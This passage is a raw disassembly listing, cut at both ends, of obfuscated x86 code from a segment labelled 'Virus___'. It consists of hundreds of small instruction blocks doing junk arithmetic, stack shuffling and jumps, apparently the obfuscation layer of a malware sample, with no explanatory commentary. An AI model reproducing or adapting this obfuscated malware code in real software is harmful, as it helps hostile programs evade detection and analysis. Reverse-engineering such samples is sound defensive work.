0EB4E2BC9h jmp loc_587221 ; --------------------------------------------------------------------------- loc_587592: ; CODE XREF: Virus___:0058C98Cj mov ecx, edi jmp loc_58CE9E ; --------------------------------------------------------------------------- loc_587599: ; CODE XREF: Virus___:00583D62j shl eax, 2 sub eax, 0ED24CF75h jmp loc_590803 ; --------------------------------------------------------------------------- loc_5875A6: ; CODE XREF: Virus___:005897B2j pop edx xchg ebp, [esp] mov esp, [esp] push edx jmp loc_58A5E2 ; --------------------------------------------------------------------------- loc_5875B3: ; CODE XREF: Virus___:0058E62Fj sub ecx, edi push dword ptr [esp] pop edi push esi jmp loc_582DF7 ; --------------------------------------------------------------------------- loc_5875BF: ; CODE XREF: Virus___:0058053Aj push 0CF7h mov [esp], ebx sub esp, 4 mov [esp], edx mov edx, 32913452h mov ebx, edx pop edx sub ebx, 0ED8B0498h sub ecx, 9A812F5h sub ecx, 38046F2Eh sub ecx, ebx jmp loc_58BF4B ; --------------------------------------------------------------------------- loc_5875EE: ; CODE XREF: Virus___:005805DEj pop edi xchg eax, [esp] jmp loc_588AFF ; --------------------------------------------------------------------------- loc_5875F7: ; CODE XREF: Virus___:005812F4j add ebp, 4 push ebx mov ebx, 4 add ebp, ebx pop ebx xchg ebp, [esp] pop esp jmp loc_58129A ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], edx push esp pop edx push ecx mov ecx, 4 add edx, ecx mov ecx, [esp] jmp loc_58867F ; --------------------------------------------------------------------------- loc_58762B: ; CODE XREF: Virus___:005803F3j pop esp jmp loc_5848E5 ; --------------------------------------------------------------------------- mov ax, [esp] push ecx push esp pop ecx push 3E86h mov [esp], ebp push 0E404009h pop ebp jmp loc_592FE9 ; --------------------------------------------------------------------------- loc_58764B: ; CODE XREF: Virus___:00580022j mov ebp, [esp] add esp, 4 pop eax jmp loc_58DB35 ; --------------------------------------------------------------------------- loc_58765A: ; CODE XREF: Virus___:0058F50Aj add ebp, 4 xchg ebp, [esp] jmp loc_581978 ; --------------------------------------------------------------------------- loc_587665: ; CODE XREF: Virus___:00592ADAj mov edx, [esp] add esp, 4 jmp loc_580128 ; --------------------------------------------------------------------------- loc_587673: ; CODE XREF: Virus___:0058965Aj inc edi add edi, 6DBF7F52h xor ebp, edi pop edi xor ebp, 74F37C71h jmp loc_59279E ; --------------------------------------------------------------------------- loc_587688: ; CODE XREF: Virus___:0058B746j sub eax, edi pop edi push small word ptr [eax] jmp loc_57F37C ; --------------------------------------------------------------------------- loc_587693: ; CODE XREF: Virus___:005864ECj push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp xchg ebx, [esp] jmp loc_585D06 ; --------------------------------------------------------------------------- loc_5876A4: ; CODE XREF: Virus___:0058B843j mov esp, [esp] imul ecx push ebp jmp loc_586C7A ; --------------------------------------------------------------------------- loc_5876AF: ; CODE XREF: Virus___:00588C51j xchg cl, dh dec dh xor dh, 0BFh sub al, 5Ah add al, dh jmp loc_58E75E ; --------------------------------------------------------------------------- loc_5876BF: ; CODE XREF: Virus___:0058915Ej mov esp, [esp] jmp loc_580B2D ; --------------------------------------------------------------------------- loc_5876C7: ; CODE XREF: Virus___:005851BCj mov edx, 62796ACAh or edx, 3FBC23FAh add edx, 374568EEh sub edx, 570A080Ah xor edx, 5CA003F6h sub edx, 0CF6C9D1Fh and ebp, edx pop edx add ebp, 59D67137h jmp loc_582B84 ; --------------------------------------------------------------------------- loc_5876F8: ; CODE XREF: Virus___:00588209j push ecx xor dword ptr [esp], 23A0509h mov ebp, [esp] add esp, 4 xor ebp, 23A0509h push dword ptr [esp] mov ecx, [esp] jmp loc_58236C ; --------------------------------------------------------------------------- loc_587717: ; CODE XREF: Virus___:005883C1j mov [esp], ecx push esp pop ecx push edi push ecx mov ecx, 436B3836h shl ecx, 4 shr ecx, 1 xor ecx, 2273AC38h jmp loc_57F71D ; --------------------------------------------------------------------------- loc_587733: ; CODE XREF: Virus___:00588120j mov cl, dh pop edx sub cl, bh mov ebx, [esp] jmp loc_584A7B ; --------------------------------------------------------------------------- loc_587740: ; CODE XREF: Virus___:0058B639j xor esi, 25406E8Ch push ebx jmp loc_58B807 ; --------------------------------------------------------------------------- loc_58774C: ; CODE XREF: Virus___:00586F04j sub eax, 737E4693h push edi jmp loc_584EEE ; --------------------------------------------------------------------------- loc_587757: ; CODE XREF: Virus___:00581081j sub esi, ebx pop ebx sub esi, ebp pop ebp shl esi, 1 xor esi, 72F94AC1h push 146Dh jmp loc_5938E9 ; --------------------------------------------------------------------------- loc_58776F: ; CODE XREF: Virus___:00582C72j push esi mov esi, 6C495752h jmp loc_58AC77 ; --------------------------------------------------------------------------- loc_58777A: ; CODE XREF: Virus___:005842A5j mov [esp], ebp mov ebp, 1FD527A3h jmp loc_59128C ; --------------------------------------------------------------------------- loc_587787: ; CODE XREF: Virus___:005806C1j sub edx, eax pop eax jmp loc_588D55 ; --------------------------------------------------------------------------- loc_58778F: ; CODE XREF: Virus___:00593905j pop ebp push ebp mov ebp, 3A746FC2h and ebp, 71815C07h neg ebp inc ebp shl ebp, 3 sub ebp, 4453B5Eh xor ebx, ebp pop ebp add edx, ebx jmp loc_5931B2 ; --------------------------------------------------------------------------- loc_5877B2: ; CODE XREF: Virus___:0058CE02j add eax, edi pop edi shl eax, 3 jmp loc_583011 ; --------------------------------------------------------------------------- loc_5877BD: ; CODE XREF: Virus___:0058D60Ej pop ecx add eax, edi mov edi, [esp] add esp, 4 dec eax not eax push ebx mov ebx, 78964C62h sub ebx, 76CE6EBBh jmp loc_588E34 ; --------------------------------------------------------------------------- loc_5877DD: ; CODE XREF: Virus___:0058014Aj mov [esp], edi push esp pop edi add edi, 4 push ebp sub esp, 4 push 1034h mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] jmp loc_58C586 ; --------------------------------------------------------------------------- loc_587803: ; CODE XREF: Virus___:00588914j inc al jmp loc_592DF8 ; --------------------------------------------------------------------------- loc_58780A: ; CODE XREF: Virus___:00593041j xor esi, [esp] pop esp push ebp mov ebp, 1DB22EA1h sub [esp+4], ebp pop ebp push 0A01h mov [esp], edi push esi mov esi, 68D9182Ah jmp loc_59445B ; --------------------------------------------------------------------------- loc_58782C: ; CODE XREF: Virus___:00590B1Aj xor ebp, 33866E08h jmp loc_592882 ; --------------------------------------------------------------------------- loc_587837: ; CODE XREF: Virus___:005814E1j push 363h mov [esp], edx jmp loc_59042B ; --------------------------------------------------------------------------- loc_587844: ; CODE XREF: Virus___:0058CEC7j push eax mov eax, esp add eax, 4 push edx mov edx, 4 add eax, edx pop edx jmp loc_58C22D ; --------------------------------------------------------------------------- loc_58785A: ; CODE XREF: Virus___:00588653j pop eax add ebx, 3C420E5Fh add ebx, eax push ecx mov ecx, 3B86408Eh or ecx, 287B73CCh sub ecx, 0FFBD656Fh sub ebx, ecx pop ecx pop eax xor ebx, [esp] xor [esp], ebx jmp loc_58B840 ; --------------------------------------------------------------------------- loc_587884: ; CODE XREF: Virus___:00583285j pop edi push esi mov esi, 1A52D83h push 5729h mov [esp], esi xor [esp], edx xor edx, [esp] jmp loc_58951D ; --------------------------------------------------------------------------- loc_58789E: ; CODE XREF: Virus___:005816C5j mov eax, esp add eax, 4 jmp loc_588718 ; --------------------------------------------------------------------------- loc_5878AA: ; CODE XREF: Virus___:0059022Fj pop edx sub ecx, ebp pop ebp push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_591318 ; --------------------------------------------------------------------------- loc_5878C5: ; CODE XREF: Virus___:0058ACA7j mov [esp], esi mov esi, 32B31FFCh inc esi shl esi, 3 dec esi inc esi dec esi add esi, 8C104A16h add ebp, esi pop esi add ebp, eax sub esp, 4 mov [esp], eax mov eax, 21A949FDh sub ebp, eax mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push dword ptr [esp] pop eax add esp, 4 jmp loc_589B4F ; --------------------------------------------------------------------------- loc_587911: ; CODE XREF: Virus___:0058DADDj not ebp or ebp, 73953E87h inc ebp add ebp, 80024h sub eax, 490A5D85h add eax, ebp add eax, 490A5D85h pop ebp push ecx jmp loc_583D2D ; --------------------------------------------------------------------------- loc_587933: ; CODE XREF: Virus___:0058F742j add eax, ebp pop ebp push ebp mov ebp, 4 jmp loc_58B8A5 ; --------------------------------------------------------------------------- loc_587941: ; CODE XREF: Virus___:0057F502j mov eax, 50E808A8h dec eax push ecx mov ecx, 12282DF4h or eax, ecx pop ecx shr eax, 6 jmp loc_58CDA8 ; --------------------------------------------------------------------------- loc_587958: ; CODE XREF: Virus___:0059013Aj add eax, 90048825h add esi, 2BC35E76h add esi, eax sub esi, 2BC35E76h pop eax jmp loc_588443 ; --------------------------------------------------------------------------- loc_587971: ; CODE XREF: Virus___:005884F7j pop edx push eax mov eax, 2AD20663h dec eax shr eax, 6 inc eax jmp loc_590547 ; --------------------------------------------------------------------------- loc_587982: ; CODE XREF: Virus___:0057F926j sub esp, 4 mov [esp], ecx jmp loc_593EA4 ; --------------------------------------------------------------------------- loc_58798D: ; CODE XREF: Virus___:00580BEAj push eax mov al, 0B1h shl al, 3 and al, 71h sub al, 6Dh mov bh, al jmp loc_585E39 ; --------------------------------------------------------------------------- mov eax, [esp] jmp loc_585CC6 ; --------------------------------------------------------------------------- mov edx, [esp] push 1D3Dh mov [esp], ebp push esp jmp loc_58BD2F ; --------------------------------------------------------------------------- loc_5879B7: ; CODE XREF: Virus___:0058868Aj mov [esp], edx mov edx, 4 sub eax, 32E865D9h add eax, edx jmp loc_589881 ; --------------------------------------------------------------------------- loc_5879CB: ; CODE XREF: Virus___:0059026Aj mov [esp], ebp jmp loc_58B4C6 ; --------------------------------------------------------------------------- loc_5879D3: ; CODE XREF: Virus___:0057FA6Fj mov ebx, [esp] push edx jmp loc_589F97 ; --------------------------------------------------------------------------- loc_5879DC: ; CODE XREF: Virus___:00591336j add [esp+4], ecx pop ecx mov ebx, [esp] add esp, 4 jmp loc_593E6E ; --------------------------------------------------------------------------- loc_5879EC: ; CODE XREF: Virus___:00583C72j push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_58824A ; --------------------------------------------------------------------------- loc_587A03: ; CODE XREF: Virus___:00582F78j mov edx, [esp] push esi mov esi, esp push edi mov edi, 28B5295Ch add edi, 1 dec edi add edi, 50EE36BBh shl edi, 3 neg edi sub edi, 32E4FF44h jmp loc_594084 ; --------------------------------------------------------------------------- loc_587A29: ; CODE XREF: Virus___:0058A61Ej mov [esp], edx push 2 mov edx, [esp] add esp, 4 jmp loc_585475 ; --------------------------------------------------------------------------- loc_587A3C: ; CODE XREF: Virus___:00591C1Dj xor ecx, 1AD332A3h sub ecx, 0C6AA2F51h xor edi, ecx pop ecx push ebx mov ebx, 6F8F1FABh sub ebx, 52A07DC4h jmp loc_58406B ; --------------------------------------------------------------------------- loc_587A5C: ; CODE XREF: Virus___:00587F1Ej add bl, 5Dh push eax mov al, 0B3h sub esp, 2 mov [esp], cx mov ch, 7Ch jmp loc_588D82 ; --------------------------------------------------------------------------- loc_587A73: ; CODE XREF: Virus___:0058A10Dj add dword ptr [esp], 4 pop ebx push eax mov eax, 4 push ebp mov ebp, 59EB34EFh not ebp push edx mov edx, 2D243302h shr edx, 4 jmp loc_582F7D ; --------------------------------------------------------------------------- loc_587A97: ; CODE XREF: Virus___:0057F6E4j pop eax push 1D83h mov [esp], ebx jmp loc_5836A1 ; --------------------------------------------------------------------------- loc_587AA5: ; CODE XREF: Virus___:005929D7j push ebx not dword ptr [esp] pop ebx jmp loc_58A882 ; --------------------------------------------------------------------------- loc_587AAF: ; CODE XREF: Virus___:0059353Aj inc dh sub dh, 0A7h add dh, 4Eh or ah, dh pop edx push edx mov dl, 0B5h or dl, 7Ah push ecx mov cl, 4Ah add cl, 2Ch shr cl, 3 jmp loc_58409C ; --------------------------------------------------------------------------- lodsb xor al, bl sub esp, 4 mov [esp], edx push ebx mov bh, 3Ch mov dl, bh pop ebx jmp loc_58ADEE ; --------------------------------------------------------------------------- loc_587AE2: ; CODE XREF: Virus___:0058D208j pop esi shl ebx, 4 dec ebx jmp loc_5800BE ; --------------------------------------------------------------------------- loc_587AEC: ; CODE XREF: Virus___:005863F5j mov ebp, [esp] push edx mov edx, esp add edx, 4 jmp loc_591D5B ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 push ecx mov ecx, 0AEE68FDh shr ecx, 7 add ecx, 18F840E1h shr ecx, 5 shl ecx, 2 push ebp jmp loc_587FA8 ; --------------------------------------------------------------------------- loc_587B2D: ; CODE XREF: Virus___:0058D708j pop esi push edx mov edx, 4FA00F84h or edx, 54876FB7h or edx, 221A7622h add edx, 0E671D639h jmp loc_5837DD ; --------------------------------------------------------------------------- loc_587B4B: ; CODE XREF: Virus___:00581A46j add eax, edx sub esp, 4 jmp loc_58D7CB ; --------------------------------------------------------------------------- loc_587B58: ; CODE XREF: Virus___:0059398Ej add ebx, esi sub ebx, 7C2649BEh pop esi push dword ptr [esp] pop esi jmp loc_58F9CF ; --------------------------------------------------------------------------- loc_587B6A: ; CODE XREF: Virus___:00589D63j push eax jmp loc_586157 ; --------------------------------------------------------------------------- loc_587B70: ; CODE XREF: Virus___:00590D58j pop edx xchg eax, [esp] mov esp, [esp] push edi push ebx mov ebx, 5B283732h jmp loc_5838BF ; --------------------------------------------------------------------------- loc_587B83: ; CODE XREF: Virus___:005824E7j add ebx, 2691317Bh pop esi push edi mov edi, 69DD0277h dec edi xchg ebp, edi jmp loc_58BD20 ; --------------------------------------------------------------------------- loc_587B98: ; CODE XREF: Virus___:00587E59j add ebx, 4 add ebx, 4 jmp loc_58AF8E ; --------------------------------------------------------------------------- loc_587BA9: ; CODE XREF: Virus___:00591F75j add al, 0C1h sub al, 7 sub al, bl push ebx push ecx mov ch, 24h mov bl, ch pop ecx add bl, 0E3h add al, bl jmp loc_5838D7 ; --------------------------------------------------------------------------- loc_587BC0: ; CODE XREF: Virus___:00584D06j add esi, ebp add esi, 207B4575h mov ebp, [esp] jmp loc_5923D6 ; --------------------------------------------------------------------------- loc_587BD0: ; CODE XREF: Virus___:0058964Fj pop ecx pop edx add bl, 8Eh sub esp, 4 mov [esp], edx push 683Dh mov [esp], esi mov esi, 746302CDh push 9AF221ECh pop edx add edx, esi jmp loc_5927DC ; --------------------------------------------------------------------------- loc_587BF8: ; CODE XREF: Virus___:00580F9Aj mov ebx, 1 add ecx, ebx mov ebx, [esp] add esp, 4 not ecx push edi mov edi, 2DF96374h or ecx, edi pop edi sub ecx, 3FFD63FEh jmp loc_580A7B ; --------------------------------------------------------------------------- loc_587C1E: ; CODE XREF: Virus___:005926B8j push edx mov dh, 90h mov bl, dh jmp loc_58256A ; --------------------------------------------------------------------------- loc_587C28: ; CODE XREF: Virus___:00580055j add ebx, edi add ebx, 5CCB27B8h push dword ptr [esp] jmp loc_5864DE ; --------------------------------------------------------------------------- loc_587C38: ; CODE XREF: Virus___:005816B6j add [esp], ax pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_587C42: ; CODE XREF: Virus___:00580623j shr ecx, 4 shr ecx, 4 push ebx push 3A28F6h jmp loc_58046B ; --------------------------------------------------------------------------- loc_587C53: ; CODE XREF: Virus___:00590A76j add esp, 4 jmp loc_57F534 ; --------------------------------------------------------------------------- loc_587C5E: ; CODE XREF: Virus___:0058EB9Dj push 4898h mov [esp], edi mov edi, 1B4B5D54h jmp loc_5902F9 ; --------------------------------------------------------------------------- loc_587C70: ; CODE XREF: Virus___:0058688Ej mov eax, edx pop edx mov esi, eax mov eax, [esp] jmp loc_58A586 ; --------------------------------------------------------------------------- loc_587C7D: ; CODE XREF: Virus___:0058CFACj mov eax, [esp] jmp loc_58EE62 ; --------------------------------------------------------------------------- loc_587C85: ; CODE XREF: Virus___:0058C964j mov ebp, 75D728DEh or ecx, ebp pop ebp jmp loc_58E7BE ; --------------------------------------------------------------------------- loc_587C92: ; CODE XREF: Virus___:005808DEj or ecx, 2FCA05CEh and ecx, 6A824C9Fh shr ecx, 8 add ecx, 0FF957E00h jmp loc_58F18C ; --------------------------------------------------------------------------- loc_587CAC: ; CODE XREF: Virus___:00593749j push ebp mov ebp, 310E29A7h mov eax, 3D271169h xor eax, ebp pop ebp shl eax, 1 shl eax, 5 jmp loc_58EEA5 ; --------------------------------------------------------------------------- loc_587CC4: ; CODE XREF: Virus___:00590CC3j mov [edx+38h], ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 push 7A92h mov [esp], esi mov esi, esp push 43C1h mov [esp], eax push 3033619Dh jmp loc_58656C ; --------------------------------------------------------------------------- loc_587CEC: ; CODE XREF: Virus___:0058B052j pop edx add edx, 4 push ebx mov ebx, 4 add edx, ebx mov ebx, [esp] add esp, 4 jmp loc_58F336 ; --------------------------------------------------------------------------- loc_587D06: ; CODE XREF: Virus___:005899F5j mov esi, 34BD3CDAh jmp loc_58230D ; --------------------------------------------------------------------------- loc_587D10: ; CODE XREF: Virus___:00593F99j push dword ptr [esp] pop eax add esp, 4 add eax, 4 push esi mov esi, 4 add eax, esi pop esi jmp loc_593357 ; --------------------------------------------------------------------------- loc_587D2A: ; CODE XREF: Virus___:0058AA30j mov esi, 47016B7Ch jmp loc_588084 ; --------------------------------------------------------------------------- loc_587D34: ; CODE XREF: Virus___:0058F52Bj add ebp, 4F9F27F7h pop ecx jmp loc_5816A3 ; --------------------------------------------------------------------------- loc_587D40: ; CODE XREF: Virus___:0058AC78j dec esi inc esi add esi, 24111E2Ah xor esi, 0C7537912h mov ebp, esi jmp loc_593902 ; --------------------------------------------------------------------------- loc_587D55: ; CODE XREF: Virus___:0058C8E5j xor ebx, [esp] mov esp, [esp] sub ch, 0C0h not ch sub ch, 0FBh sub al, 51h add al, 0B0h jmp loc_5872F8 ; --------------------------------------------------------------------------- loc_587D6C: ; CODE XREF: Virus___:0058213Bj mov esp, [esp] jmp loc_591243 ; --------------------------------------------------------------------------- loc_587D74: ; CODE XREF: Virus___:00585CA0j mov ebx, 4 jmp loc_57F595 ; --------------------------------------------------------------------------- loc_587D7E: ; CODE XREF: Virus___:00583A6Fj mov edx, 327C508Bh xor edx, 6B7F6512h sub edx, 26CF5FA2h jmp loc_584BDB ; --------------------------------------------------------------------------- loc_587D94: ; CODE XREF: Virus___:005864A1j and ebp, 7A6B3185h shl ebp, 3 dec ebp jmp loc_582FFE ; --------------------------------------------------------------------------- loc_587DA3: ; CODE XREF: Virus___:0058B2FFj add esi, 0FFDAC6B3h mov edi, esi pop esi jmp loc_586657 ; --------------------------------------------------------------------------- loc_587DB1: ; CODE XREF: Virus___:00584302j push small 2BBAh pop ax sub dx, 6B02h add dx, ax push esi jmp loc_584B02 ; --------------------------------------------------------------------------- loc_587DC5: ; CODE XREF: Virus___:00592E06j pop edx sub eax, 1CA90DFBh not eax jmp loc_58DB01 ; --------------------------------------------------------------------------- loc_587DD2: ; CODE XREF: Virus___:0058CA92j push edx push 2 mov edx, [esp] add esp, 4 push 17F0h mov [esp], eax mov eax, edx mov ecx, eax pop eax push dword ptr [esp] pop edx add esp, 4 add edx, 6F743DDBh add edx, ecx jmp loc_588451 ; --------------------------------------------------------------------------- loc_587E02: ; CODE XREF: Virus___:0058F8CFj jmp loc_57F37C ; --------------------------------------------------------------------------- loc_587E07: ; CODE XREF: Virus___:00583C44j push ebp jmp loc_592562 ; --------------------------------------------------------------------------- loc_587E0D: ; CODE XREF: Virus___:00580123j add bh, 0BAh or dl, bh pop ebx shr dl, 5 jmp loc_581177 ; --------------------------------------------------------------------------- loc_587E1B: ; CODE XREF: Virus___:00593CAEj mov [esp], bx jmp loc_586F3C ; --------------------------------------------------------------------------- loc_587E24: ; CODE XREF: Virus___:00584104j push 53585FA7h pop ebx jmp loc_5822E1 ; --------------------------------------------------------------------------- loc_587E2F: ; CODE XREF: Virus___:00592BD6j pop ebx add edx, esi mov esi, [esp] add esp, 4 push 4DBh mov [esp], edi push ebx jmp loc_593779 ; --------------------------------------------------------------------------- loc_587E46: ; CODE XREF: Virus___:00583E4Fj push esp pop ebx add ebx, 4 sub ebx, 4 push ebx jmp loc_5921B6 ; --------------------------------------------------------------------------- loc_587E57: ; CODE XREF: Virus___:00591783j mov ebx, esp jmp loc_587B98 ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx push 3390h mov [esp], eax jmp loc_57F3F4 ; --------------------------------------------------------------------------- loc_587E6F: ; CODE XREF: Virus___:0058D8A1j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub bl, 93h push edx push 5374h mov [esp], eax push 629Ch jmp loc_580CD7 ; --------------------------------------------------------------------------- loc_587E94: ; CODE XREF: Virus___:00584475j push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] mov esp, [esp] mov [esp], ecx push ebx push edx mov dh, 0A2h push eax mov al, dh mov bh, al mov eax, [esp] add esp, 4 jmp loc_582E9A ; --------------------------------------------------------------------------- loc_587EC3: ; CODE XREF: Virus___:0058FA1Fj push eax mov al, 0B6h shl al, 2 and al, 0B7h jmp loc_58BA1B ; --------------------------------------------------------------------------- loc_587ED0: ; CODE XREF: Virus___:00588F2Aj shl esi, 7 xor esi, 7D2A5592h add esi, 598A015Ah xor esi, 60B04CC9h add esi, 736750A0h xor ebx, esi jmp loc_584876 ; --------------------------------------------------------------------------- loc_587EF2: ; CODE XREF: Virus___:00587010j sub edx, 2 xor edx, [esp] xor [esp], edx jmp loc_5899CB ; --------------------------------------------------------------------------- loc_587F03: ; CODE XREF: Virus___:005886E3j sub ecx, edx pop edx push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp mov [esp], edi push 6712h jmp loc_580D2A ; --------------------------------------------------------------------------- loc_587F1D: ; CODE XREF: Virus___:0058C793j pop ebx jmp loc_587A5C ; --------------------------------------------------------------------------- loc_587F23: ; CODE XREF: Virus___:0057F430j sub ebp, edi sub ebp, 1BC672BDh pop edi add ebp, 4437408Ah mov eax, [esp] push 66h jmp loc_593602 ; --------------------------------------------------------------------------- loc_587F3F: ; CODE XREF: Virus___:0059399Cj pop edi jmp loc_581C93 ; --------------------------------------------------------------------------- loc_587F45: ; CODE XREF: Virus___:005923ACj mov [esp], ebx push edi jmp loc_585FF0 ; --------------------------------------------------------------------------- loc_587F4E: ; CODE XREF: Virus___:005839A2j mov esi, [esp] add esp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_58C073 ; --------------------------------------------------------------------------- loc_587F5F: ; CODE XREF: Virus___:0058B0A9j pop edx sub al, bh pop ebx sub bl, 8Eh jmp loc_5828F9 ; --------------------------------------------------------------------------- loc_587F6B: ; CODE XREF: Virus___:0059160Cj push ebx mov ebx, esp add ebx, 4 jmp loc_593019 ; --------------------------------------------------------------------------- loc_587F79: ; CODE XREF: Virus___:00591721j pop esp sub esp, 4 mov [esp], eax jmp loc_580C3A ; --------------------------------------------------------------------------- loc_587F85: ; CODE XREF: Virus___:00590F97j pop esp push edx push dword ptr [esp+4] pop edx jmp loc_58F57D ; --------------------------------------------------------------------------- loc_587F91: ; CODE XREF: Virus___:0059112Fj xor eax, 28625442h jmp loc_58FAFD ; --------------------------------------------------------------------------- loc_587F9B: ; CODE XREF: Virus___:0058ED3Dj xor edx, 4064094Ch add edi, edx jmp loc_592E3A ; --------------------------------------------------------------------------- loc_587FA8: ; CODE XREF: Virus___:00587B28j mov ebp, 3BD5687Eh sub ecx, 143A2C3Dh add ecx, ebp add ecx, 143A2C3Dh pop ebp add ecx, 0D7F13367h push esi mov esi, 0 sub esi, ecx jmp loc_589262 ; --------------------------------------------------------------------------- loc_587FCF: ; CODE XREF: Virus___:0058D5ADj pop ecx add al, 0CEh add al, 0EBh sub al, dh sub al, 0EBh jmp loc_59147B ; --------------------------------------------------------------------------- loc_587FDD: ; CODE XREF: Virus___:00591556j mov esi, 1CB55D0Ah jmp loc_58D626 ; --------------------------------------------------------------------------- loc_587FE7: ; CODE XREF: Virus___:0058C520j xor edi, ebp jmp loc_584A13 ; --------------------------------------------------------------------------- loc_587FEE: ; CODE XREF: Virus___:0058261Dj push 3D38h jmp loc_58239C ; --------------------------------------------------------------------------- loc_587FF8: ; CODE XREF: Virus___:00580C06j mov ebx, esp push edi mov edi, 4 add ebx, edi pop edi sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], ecx mov ecx, 18E26AA2h sub ecx, 18E26A9Eh sub eax, 6D9669Ah add eax, 635C10CFh jmp loc_585E9A ; --------------------------------------------------------------------------- loc_58802C: ; CODE XREF: Virus___:0058918Bj push ebp mov ebp, 42AD4E0Eh jmp loc_591D1B ; --------------------------------------------------------------------------- loc_588037: ; CODE XREF: Virus___:00589B8Fj and ebp, 0F874402h jmp loc_581C36 ; --------------------------------------------------------------------------- loc_588042: ; CODE XREF: Virus___:00580ADAj sub edi, 455F1900h sub edi, 71670D67h add edi, ecx add edi, 71670D67h add edi, 455F1900h mov ecx, [esp] add esp, 4 push esi mov esi, 4 add edi, esi push dword ptr [esp] pop esi jmp loc_591726 ; --------------------------------------------------------------------------- loc_588073: ; CODE XREF: Virus___:00592AFFj push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] jmp loc_5802CF ; --------------------------------------------------------------------------- loc_588084: ; CODE XREF: Virus___:00587D2Fj push ebx mov ebx, 2C020EB4h and esi, ebx pop ebx jmp loc_584D68 ; --------------------------------------------------------------------------- loc_588092: ; CODE XREF: Virus___:00592E63j xor esi, [esp] mov esp, [esp] jmp loc_593C14 ; --------------------------------------------------------------------------- loc_58809D: ; CODE XREF: Virus___:00593066j pop esp push esi mov esi, 69C00695h neg esi sub esi, 963FF967h add ebp, esi jmp loc_583C93 ; --------------------------------------------------------------------------- loc_5880B3: ; CODE XREF: Virus___:00587583j add ecx, 0AEF683C4h sub edx, 582C2A1Bh add edx, ecx add edx, 582C2A1Bh pop ecx push ecx mov ecx, 46234724h add eax, ecx mov ecx, [esp] add esp, 4 sub eax, edx push ecx mov ecx, 55D15B38h push esi mov esi, 31E443CAh dec esi neg esi jmp loc_589290 ; --------------------------------------------------------------------------- loc_5880EC: ; CODE XREF: Virus___:005830D7j push eax mov eax, 4 jmp loc_57FF9E ; --------------------------------------------------------------------------- loc_5880F7: ; CODE XREF: Virus___:0058AE66j pop eax mov edx, eax jmp loc_58D58D ; --------------------------------------------------------------------------- loc_5880FF: ; CODE XREF: Virus___:00585BECj add esp, 4 shl dl, 4 sub dl, 0F4h sub al, dl jmp loc_586CA0 ; --------------------------------------------------------------------------- loc_588112: ; CODE XREF: Virus___:00591DAFj add ebx, edi jmp loc_580DCE ; --------------------------------------------------------------------------- loc_588119: ; CODE XREF: Virus___:0058A174j mov bx, [esp] add esp, 2 jmp loc_587733 ; --------------------------------------------------------------------------- neg byte ptr [esp] pushf jmp loc_59064D ; --------------------------------------------------------------------------- loc_58812E: ; CODE XREF: Virus___:005849A3j mov ecx, [esp] add esp, 4 add ecx, 4 push edx mov edx, 4 add ecx, edx pop edx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_58BFA8 ; --------------------------------------------------------------------------- loc_588151: ; CODE XREF: Virus___:00591996j push edx mov edx, 59A3762Dh shl edx, 3 shr edx, 2 push edi jmp loc_589784 ; --------------------------------------------------------------------------- loc_588163: ; CODE XREF: Virus___:005885DDj shr dword ptr [esp], cl pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58816C: ; CODE XREF: Virus___:00582D62j pop eax push edi mov edi, 4 jmp loc_5814FF ; --------------------------------------------------------------------------- loc_588178: ; CODE XREF: Virus___:00580331j mov ebx, [esp] add esp, 4 push ebx mov bh, 50h neg bh sub bh, 0D9h and dl, bh mov ebx, [esp] add esp, 4 inc dl neg dl push ax mov ah, 0Eh sub dl, 0A2h add dl, ah add dl, 0A2h pop ax sub cl, 77h add cl, dl add cl, 77h jmp loc_58FDDB ; --------------------------------------------------------------------------- loc_5881AD: ; CODE XREF: Virus___:0058F77Dj sub ebp, edx pop edx push ebp push dword ptr [esp+4] mov ebp, [esp] jmp loc_581F0B ; --------------------------------------------------------------------------- loc_5881BD: ; CODE XREF: Virus___:0058EF50j sub ebx, esi pop esi jmp loc_58B6C6 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 jmp loc_582CBD ; --------------------------------------------------------------------------- loc_5881D1: ; CODE XREF: Virus___:00581DEAj sub esi, edi pop edi sub eax, esi pop esi jmp loc_583B63 ; --------------------------------------------------------------------------- loc_5881DC: ; CODE XREF: Virus___:00589E46j push dword ptr [esp] jmp loc_58CFBA ; --------------------------------------------------------------------------- loc_5881E4: ; CODE XREF: Virus___:0058D94Ej pop ebp xor edi, 51003B02h add esi, edi mov edi, [esp] add esp, 4 jmp loc_586E7C ; --------------------------------------------------------------------------- loc_5881F8: ; CODE XREF: Virus___:005813A9j push 0FFFE7F33h pop edi jmp loc_59429A ; --------------------------------------------------------------------------- loc_588203: ; CODE XREF: Virus___:0058F136j xor ecx, 194C45FDh jmp loc_5876F8 ; --------------------------------------------------------------------------- loc_58820E: ; CODE XREF: Virus___:0058EF57j pop edx jmp loc_58E726 ; --------------------------------------------------------------------------- loc_588214: ; CODE XREF: Virus___:00592F77j inc ebp shl ebp, 4 sub ebp, 4E7225DAh sub ebp, 2AFB4CBCh xor ebp, esi xor esi, ebp xor ebp, esi xchg edx, esi jmp loc_59430C ; --------------------------------------------------------------------------- loc_588231: ; CODE XREF: Virus___:0058AD5Cj xor ecx, [esp] mov esp, [esp] idiv cx push small 1957h mov [esp], dx push ax pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58824A: ; CODE XREF: Virus___:005879FEj pop esp mov 